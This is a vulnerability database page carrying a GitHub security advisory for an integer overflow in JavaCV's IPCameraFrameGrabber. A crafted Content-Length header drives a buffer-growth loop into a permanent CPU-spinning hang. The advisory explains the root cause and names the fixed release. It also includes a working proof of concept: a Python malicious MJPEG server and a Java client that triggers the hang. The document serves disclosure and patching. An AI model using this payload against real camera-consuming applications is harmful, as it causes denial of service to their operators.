GHSA-RXJV-24XQ-76WC

Vulnerability from github – Published: 2026-10-16 19:53 – Updated: 2026-10-16 19:53
VLAI
Summary
JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS
Details

Summary

IPCameraFrameGrabber parses the Content-Length value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over http://, as documented in the class itself) - can supply a Content-Length value in the range 1073741825-2147483647. This drives the internal buffer-growth routine ensureBufferCapacity(int) into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to 0 and never again satisfies the loop's exit condition. The thread that called grab()/grabBufferedImage() spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.

Details

File: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java

private byte[] readImage() throws IOException {
    ...
    int c0 = subheader.indexOf("content-length: ");
    final int c1 = subheader.indexOf('\r', c0);
    if (c0 < 0) {
        throw new EOFException("The camera stream ended unexpectedly");
    }
    c0 += 16;
    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled
    // adaptive size - careful - don't want a 2G jpeg
    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced
    input.readFully(pixelBuffer, 0, contentLength);
    ...
}

private void ensureBufferCapacity(int desiredCapacity) {
    int capacity = pixelBuffer.length;          // starts at 1024
    while (capacity < desiredCapacity) {
        capacity *= 2;                          // <-- unchecked int multiplication
    }
    if (capacity > pixelBuffer.length) {
        pixelBuffer = new byte[capacity];
    }
}

contentLength is taken verbatim from the HTTP response headers of the camera stream and passed directly into ensureBufferCapacity with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check).

ensureBufferCapacity repeatedly doubles capacity (a 32-bit int, starting at pixelBuffer.length == 1024) until it is >= desiredCapacity. If desiredCapacity is greater than 2^30 (1073741824) but <= Integer.MAX_VALUE (2147483647):

  1. capacity reaches 2^30 (1073741824) after 20 doublings; the loop condition capacity < desiredCapacity is still true.
  2. capacity *= 2 computes 2^31, which overflows a signed 32-bit int and wraps to Integer.MIN_VALUE (-2147483648).
  3. The loop condition capacity < desiredCapacity (a negative number compared to a large positive desiredCapacity) is still true, so the loop continues.
  4. capacity *= 2 computes Integer.MIN_VALUE * 2, which in two's-complement 32-bit arithmetic wraps to 0.
  5. From this point on, capacity is permanently 0 (0 * 2 == 0), and 0 < desiredCapacity remains true forever - the while loop never terminates.

This is a pure CPU-bound loop with no I/O, no blocking call, and no InterruptedException check, so it cannot be interrupted via Thread.interrupt() and will not respect any readTimeout/connectionTimeout configured on the grabber (those only apply to the socket read that happens before this code path). The only remedy is killing the JVM/thread from outside.

PoC

A minimal malicious/MITM'd MJPEG server that reproduces the hang:

import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096)  # swallow the client's request

# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
    "--myboundary\r\n"
    "Content-Type: image/jpeg\r\n"
    "Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.

Java client (representative of any application embedding javacv to view an "IP camera" URL):

import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;

public class Poc {
    public static void main(String[] args) throws Exception {
        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
            "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
        grabber.start();
        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
    }
}

Running the client against the malicious server above causes grab() to hang permanently, consuming a full CPU core, regardless of the startTimeout/grabTimeout passed to the constructor.

Impact

Any application that uses IPCameraFrameGrabber to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain http:// streams (as shown in the class's own documented examples: http://host/videostream.cgi?...) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bytedeco:javacv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-16T19:53:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`IPCameraFrameGrabber` parses the `Content-Length` value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over `http://`, as documented in the class itself) - can supply a `Content-Length` value in the range `1073741825`-`2147483647`. This drives the internal buffer-growth routine `ensureBufferCapacity(int)` into 32-bit signed integer overflow, which turns the \"grow the buffer\" loop into a true infinite loop: the loop variable oscillates to `0` and never again satisfies the loop\u0027s exit condition. The thread that called `grab()`/`grabBufferedImage()` spins at 100% CPU forever and never returns, permanently hanging the calling application\u0027s frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.\n\n### Details\nFile: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java`\n\n```java\nprivate byte[] readImage() throws IOException {\n    ...\n    int c0 = subheader.indexOf(\"content-length: \");\n    final int c1 = subheader.indexOf(\u0027\\r\u0027, c0);\n    if (c0 \u003c 0) {\n        throw new EOFException(\"The camera stream ended unexpectedly\");\n    }\n    c0 += 16;\n    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // \u003c-- fully attacker-controlled\n    // adaptive size - careful - don\u0027t want a 2G jpeg\n    ensureBufferCapacity(contentLength);                                              // \u003c-- no upper bound enforced\n    input.readFully(pixelBuffer, 0, contentLength);\n    ...\n}\n\nprivate void ensureBufferCapacity(int desiredCapacity) {\n    int capacity = pixelBuffer.length;          // starts at 1024\n    while (capacity \u003c desiredCapacity) {\n        capacity *= 2;                          // \u003c-- unchecked int multiplication\n    }\n    if (capacity \u003e pixelBuffer.length) {\n        pixelBuffer = new byte[capacity];\n    }\n}\n```\n\n`contentLength` is taken verbatim from the HTTP response headers of the camera stream and passed directly into `ensureBufferCapacity` with no upper-bound validation (the comment \"adaptive size - careful - don\u0027t want a 2G jpeg\" shows the author was aware of the risk but never implemented a check).\n\n`ensureBufferCapacity` repeatedly doubles `capacity` (a 32-bit `int`, starting at `pixelBuffer.length == 1024`) until it is `\u003e= desiredCapacity`. If `desiredCapacity` is greater than `2^30` (`1073741824`) but `\u003c= Integer.MAX_VALUE` (`2147483647`):\n\n1. `capacity` reaches `2^30` (`1073741824`) after 20 doublings; the loop condition `capacity \u003c desiredCapacity` is still true.\n2. `capacity *= 2` computes `2^31`, which overflows a signed 32-bit `int` and wraps to `Integer.MIN_VALUE` (`-2147483648`).\n3. The loop condition `capacity \u003c desiredCapacity` (a negative number compared to a large positive `desiredCapacity`) is still true, so the loop continues.\n4. `capacity *= 2` computes `Integer.MIN_VALUE * 2`, which in two\u0027s-complement 32-bit arithmetic wraps to `0`.\n5. From this point on, `capacity` is permanently `0` (`0 * 2 == 0`), and `0 \u003c desiredCapacity` remains true forever - the `while` loop never terminates.\n\nThis is a pure CPU-bound loop with no I/O, no blocking call, and no `InterruptedException` check, so it cannot be interrupted via `Thread.interrupt()` and will not respect any `readTimeout`/`connectionTimeout` configured on the grabber (those only apply to the socket read that happens *before* this code path). The only remedy is killing the JVM/thread from outside.\n\n### PoC\nA minimal malicious/MITM\u0027d MJPEG server that reproduces the hang:\n\n```python\nimport socket\n\nsrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 8080))\nsrv.listen(1)\nprint(\"listening on :8080\")\nconn, _ = srv.accept()\nconn.recv(4096)  # swallow the client\u0027s request\n\n# Any value in (1073741824, 2147483647] triggers the overflow.\nmalicious_length = 2000000000\nheader = (\n    \"--myboundary\\r\\n\"\n    \"Content-Type: image/jpeg\\r\\n\"\n    \"Content-Length: %d\\r\\n\\r\\n\" % malicious_length\n)\nconn.sendall(header.encode())\n# The client will now spin forever inside ensureBufferCapacity()\n# before ever attempting to read the (fake) body.\n```\n\nJava client (representative of any application embedding javacv to view an \"IP camera\" URL):\n\n```java\nimport org.bytedeco.javacv.IPCameraFrameGrabber;\nimport java.util.concurrent.TimeUnit;\n\npublic class Poc {\n    public static void main(String[] args) throws Exception {\n        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(\n            \"http://127.0.0.1:8080/videostream.cgi\", 5, 5, TimeUnit.SECONDS);\n        grabber.start();\n        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever\n    }\n}\n```\n\nRunning the client against the malicious server above causes `grab()` to hang permanently, consuming a full CPU core, regardless of the `startTimeout`/`grabTimeout` passed to the constructor.\n\n### Impact\nAny application that uses `IPCameraFrameGrabber` to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain `http://` streams (as shown in the class\u0027s own documented examples: `http://host/videostream.cgi?...`) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.",
  "id": "GHSA-rxjv-24xq-76wc",
  "modified": "2026-10-16T19:53:06Z",
  "published": "2026-10-16T19:53:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytedeco/javacv/security/advisories/GHSA-rxjv-24xq-76wc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytedeco/javacv/commit/cd1977800b827beadf3c53c4032e57172845e0b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytedeco/javacv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytedeco/javacv/releases/tag/1.5.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.